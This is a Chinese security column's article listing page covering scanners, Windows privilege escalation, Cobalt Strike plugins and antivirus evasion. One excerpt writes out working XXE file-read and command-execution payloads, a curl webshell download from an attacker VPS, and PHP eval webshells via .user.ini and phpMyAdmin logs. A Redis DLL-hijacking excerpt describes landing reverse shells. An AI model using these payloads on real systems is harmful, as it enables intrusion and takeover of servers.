潇湘信安-腾讯云开发者社区

开发者社区

文档建议反馈控制台

腾讯云架构师技术同盟

文章/答案/技术大牛

发布

潇湘信安

专栏成员

233

文章

324015

阅读量

36

订阅数

info_scan！自动化漏洞扫描系统

服务漏洞系统网站自动化

info_scan是@huan666师傅实战沉淀几年的一款自动化漏洞扫描系统，包括IP基础信息探测模块(位置、属性、操作系统、端口、绑定的域名、公司名称、公司位置信息、网站标题、CDN信息、绑定网站指纹、子域名)，漏洞扫描模块，(weblogic、struts2、nuclei、xray、rad、目录扫描、js链接扫描、端口扫描、调用威胁情报抓取历史绑定url、网站指纹、信息泄露、vulmap、afrog、fscan、DNS日志、shiro、springboot、服务弱口令扫描、识别重点资产)，资产管理模块(资产发现、资产展示、CDN检测、存活检测、资产回退、重点资产识别)，单个扫描模块报告支持在线预览，总报告支持下载和预览。

2024-07-15

2790

CVE-2024-30088提权漏洞插件

权限测试插件函数漏洞

CVE-2024-30088是Windows内核提权漏洞，由越南安全研究员@Bùi Quang Hiếu详细分析。漏洞发生在AuthzBasepCopyoutInternalSecurityAttributes函数中，该函数在复制SecurityAttributesList时会使用用户提供的指针，在校验及复制期间存在时间差，导致存在TOCTOU漏洞。

2024-07-15

3760

记一次任意文件读取漏洞的挖掘

漏洞日志 project 测试框架

在某次测试时，碰到了一个python Django站的任意文件读取漏洞，涉及功能为操作日志的线上查看功能，功能截图如下：

2024-07-15

1990

RmTool！一款蓝队必备应急工具

工具进程内存配置程序

一款蓝队应急工具，支持最低版本: windows7 x64，必须右键以管理员运行此工具，否做功能会失效。

2024-07-15

2160

Burpsuite API敏感信息查找插件

接口开发浏览器 api 插件

攻防演练过程中，我们通常会用浏览器访问一些资产，但很多未授权/敏感信息/越权隐匿在已访问接口过html、JS文件等，使用该插件能让我们快速发现未授权/敏感信息/越权/登陆接口等。

2024-07-05

4000

CISP-PTS中的渗透小技巧分享

技巧脚本路由协议公众号

1.3、XXE相关技巧 1.3.1、XXE载荷构技巧使用seclists的XXE-Fuzzing.txt的第9行，做一个简单改造即可使用。对比如下：改造前： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径：SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后，再加上回显位置即可成功利用，完整载荷示例： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种，通过上传webshell来。利用前提：知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上，直接寄。 1）使用python托管webshell python -m http.server 8088 2）下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析： curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代，没啥好说的，常规思路。下载url不能带协议下载url用单引号包裹，如果是-o方式，保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传这个跟.htaccess差不多，.user.ini是php给用户的自定义配置文件，可将指定文件按照php脚本文件的形式解析。介绍：https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程： 1）上传.user.ini filename：.user.ini Content-type：image/jpeg 文件正文： GIF89a auto_prepend_file = aaa.jpg 2）上传webshell filename: aaa.jpg Content-type：image/jpeg 文件正文： GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析导出数据包：文件——导出分组解析结果——为纯文本通过notepad++解码：提取所有注入数据包，此处使用notepad++中的标记功能，查找模式设置为正则表达式。提取出来以后，找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。找到所有数据后，用英文的逗号隔开，然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马前提：知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目

2024-07-04

2270

PostExpKit插件更新：进程注入模块

插件进程权限主机测试

今天更新下PostExpKit插件的进程注入模块，目前已集成CS内置进程注入命令spawnto、spawn、inject，另外还有PoolPartyBof、ThreadlessInject和CS-Remote-OPs-BOF下Injection（12种注入方式），总计有20+进程注入方式吧，也可将shellcode注入到指定进程中执行...。

2024-07-04

2880

CVE-2024-26229提权复现测试记录

编译测试服务漏洞权限

这篇记录文是在@IIX Fiber师傅帮助下完成的，同时也感谢群里@Maytersec、@天明、@程哥、@阿柳几个师傅给提供的测试环境和帮着一起测试。

2024-06-19

6190

Windows2022绕过Defender提权

进程 exe 测试插件程序

星球某位师傅找我讨论了一个他在项目实战测试中关于Windows2022绕过Windows Defender提权过程遇到的一些问题，在这简单记录并分享下在这种场景下如何绕过该防护进行提权的方法和思路。

2024-06-19

5230

PostExpKit插件更新：用户操作模块

安全防护插件管理权限软件

今天给大家分享下我最近刚完成的PostExpKit插件的用户操作模块，可用于在实战场景下绕过某些安全防护的拦截执行用户操作等相关命令，集成多种执行利用方式，更适用于实战各类场景...。

2024-05-27

3760

Windows Redis DLL劫持在实战中的利用

redis 函数系统 windows dll

举例：例如，假设有一个应用程序叫做"example.exe"，它依赖于名为"example.dll"的动态链接库。而"example.exe"在加载"example.dll"时没有使用绝对路径，而是仅仅指定了DLL的名称。攻击者可以将恶意的"example.dll"文件放置在与"example.exe"相同的目录下，当"example.exe"启动时，系统会先在当前目录中查找"example.dll"文件，如果找到，就会加载该文件并执行其中的恶意代码。 DLL劫持可以函数转发劫持也可以往完整DLL插入恶意代码，这里用的函数转发劫持，大致流程如下图所示： https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/ 2.2 劫持dbghelp.dll redis-server.exe在执行bgsave时，会先在应用‍目录查找dbghelp.dll，找不到再去system32目录下找：而不管redis的权限是Administrator还是普通用户或者Network Service，它对自己的应用目录一定有写文件的权限，我们可以通过Redis的主从复制在应用目录里写入恶意DLL。 2.3 函数转发劫持对DLL进行函数转发劫持需要导出原本DLL的函数和地址，以保证程序通过恶意DLL调用这些函数时不影响正常功能，DLL的导出函数一般比较多，用Aheadlib之类的工具可以自动化处理。我这里用的是DLLHijacker，它会自动处理导出表并生成一个VS2019的项目，但这个python脚本有几个bug： https://github.com/kiwings/DLLHijacker (1) VS项目中文乱码：修复：几个写文件的地方添加 encoding="utf-8"。 (2) 函数导出表有匿名函数的时候，会导致以下报错 [-]Error occur: 'NoneType' object has no attribute 'decode 修复：在几个for循环里添加函数名是否为空的判断可以解决这个问题。 (3) 生成C/C++代码时，没有使用目标DLL的绝对路径，只是用了DLL的名字填充LoadLibrary()，这是一个很严重的bug，会导致函数转发失败、Redis的功能受到影响从而只能劫持一次：修复：我改成了根据输入的目标DLL路径自动填充。如果没有使用原DLL的绝对路径，在Process Monitor可以看到，只会调用应用程序目录里的恶意DLL，并没有调用原本的system32下的dbghelp.dll：从而redis的功能受到影响，导致redis的bgsave只能触发一次DLL调用，第二次bgsave的进程会被阻塞从而无法调用DLL，并且Redis关闭后将无法启动：这也是网上部分师傅的文章写”不会影响redis运行但会无法重启“的原因，因为他们也是用的DLLHijacker，并且没有发现有这个坑，这不仅会影响业务，而且只能劫持一次：正常的DLL劫持不会影响程序的功能，可以劫持很多次，假如我第一次劫持想上线CS但是没有成功，那对面可能不出网，那我可能会再劫持打一个MSF的反向shell，都没成功我也可以继续尝试MSF盲打命令：正常的DLL转发劫持如下，调用完应用程序目录里的恶意DLL后会调用原DLL： 0x03 漏洞利用 3.1 工具使用工具下载地址： https://github.com/P4r4d1se/dll_hijack 如是是Windows 64位的Redis DLL劫持的话，可以直接用里面的VS2022版的dbghelp项目。其他要用我修改后的DllHijacker.py和目标DLL路径生成VS项目： python3 DLLHijacker.py C:\Windows\System32\dbghelp.dll 下载安装VS2022，只用勾C++桌面开发： https://visualstudio.microsoft.com/zh-hans/downloads 打开生成目录里的sln文件，因为原本是VS2019的项目所以会提醒你升级，选确定，不然得另外安装v142的编译组件才能编译VS2019的项目：打开后在源文件的dllmain.app，修改里面的shellocde就行，其他不用改： 3.2 出网——Cobalt Strike 如果Redis主机直接出网，或者能通其他已经上线CS的出网主机，那直接上CS是最好的选择，CS生成C语言的payload：源文件的dllmain.app里把payload替换进去，然后选Release x64，生成——生成解决方案：然后主从复制将dbghelp.dll写过去并bg

2024-05-18

2800

记一次通告引起的漏洞复现记录

漏洞路由搜索源码中间件

2024年4月@不会飞的鱼师傅投稿分享的一篇文章，记录的是他因一起用友的漏洞通告而找到对应的POC并对该漏洞进行复现测试的过程，文章版权归原作者所有。

2024-05-09

3890

PostExpKit - 20240423更新

脚本进程线程测试插件

前段时间分享了PostExpKit插件的提权模块：简单好用的CobaltStrike提权插件，这次主要更新一些我认为比较实用的功能：1、2、3过部分防护场景，BOF合集见原项目，其他都是一些命令增强脚本......。

2024-04-30

8150

Arsenal-kit免杀套件编译与测试

测试插件脚本源码编译

CobaltStrike原生Artifact Kit生成的Artifact几乎已被所有主流杀软查杀，但我们可以用CobaltStrike官方Arsenal Kit免杀套件来替代原生Artifact Kit，目前还有一定免杀效果，过国内杀软问题不大。

2024-04-24

1K0

MS17-010永恒之蓝绕过数字上线

脚本漏洞内存变量测试

@格林师傅在实战中遇到的一个场景：已代理进内网，通过扫描发现内网某台主机存在有MS17-010，但是因为这台机器上存在360而无法直接利用，不过可以通过ms17_010_command模块执行命令，现在我们需要考虑的是如何绕过360将免杀木马落地到目标磁盘、或者远程加载执行上线。

2024-04-23

5090

记一次H1漏洞提交记录

后端基础漏洞数据库程序

现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！

2024-04-15

1410

记一次对天翼安全网关的渗透

安全登录配置搜索网关

现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！

2024-04-15

4880

开源远程桌面，TeamViewer替代品

开源服务配置软件远程桌面

现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！

2024-04-15

1560

继上章简单代码审计一波

代码审计函数后台漏洞数组

现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！

2024-04-15

1320

一个IP Geteshll

ip 后台加密域名源码

现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！

2024-04-15

1210

点击加载更多

社区活动

Python精品学习库

代码在线跑，知识轻松学

博客搬家 | 分享价值百万资源包

自行/邀约他人一键搬运博客，速成社区影响力并领取好礼

技术创作特训营·精选知识专栏

往期视频·干货材料·成员作品最新动态